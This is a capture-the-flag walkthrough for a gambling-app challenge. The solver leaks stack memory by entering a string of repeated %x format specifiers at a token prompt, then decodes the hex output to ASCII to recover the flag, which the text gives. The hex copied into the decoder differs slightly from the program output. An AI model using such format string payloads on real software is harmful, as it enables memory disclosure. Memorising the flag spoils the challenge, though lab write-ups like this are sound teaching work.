

Walkthrough – Bets

Challenge

The challenge starts with the choice to place bets or view bets.

```
Welcome back to the gambling app!  
  
What would you like to do?  
1) Purchase some bets!  
2) View my teams' bets  
█
```

Solution

1. Choose the first choice by entering 1 into the command line.

```
What would you like to do?  
1) Purchase some bets!  
2) View my teams' bets  
1  
Using patented AI algorithms to buy bets  
Bets chosen  
What is your API token?  
█
```

2. When asking for an API token, it may be a good idea to explore if there is a string vulnerability within the code. To exploit this vulnerability, enter %x multiple times.

```
What is your API token?  
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x  
Buying bets with token:  
2952972302944e1e7187ffffff1d91de2a00d91de6d0d91df9a0d91df9c0514354462d7b52554d504c455354494c54534b494e7d54535fc8680  
0293a32e285fc867d05fc8671022e9f0005fc867ec02944e1e717  
Teams as of Wed 12 Jan 2022 08:09:45 PM UTC  
  
1 bets placed on the team JRCO  
8 bets placed on the team JF  
1 bets placed on the team IQ  
2 bets placed on the team Q  
13 bets placed on the team INS  
42 bets placed on the team JAWJ  
375 bets placed on the team EUUJ  
764 bets placed on the team FE  
Goodbye!
```

3. Hex values are outputted. Convert these values into ASCII to find the flag.

Paste hex numbers or drop file

```
952972302944e1e7187ffffffff1d91de2a00d91de6d0d91df9a0d91df9c051  
4354462d7b52554d504c455354494c54534b494e7d54535fc86800293a32e2  
85fc867d05fc8671022e9f0005fc867ec02944e1e717
```

Character encoding

ASCII

Convert

Reset

Swap

```
r0)Dáçÿÿÿ* ùæÙ ù ùÀQCTF-  
{RUMPLESTILTSKIN}TS_èh ):2âù}ùùq. ù~À)Dáç
```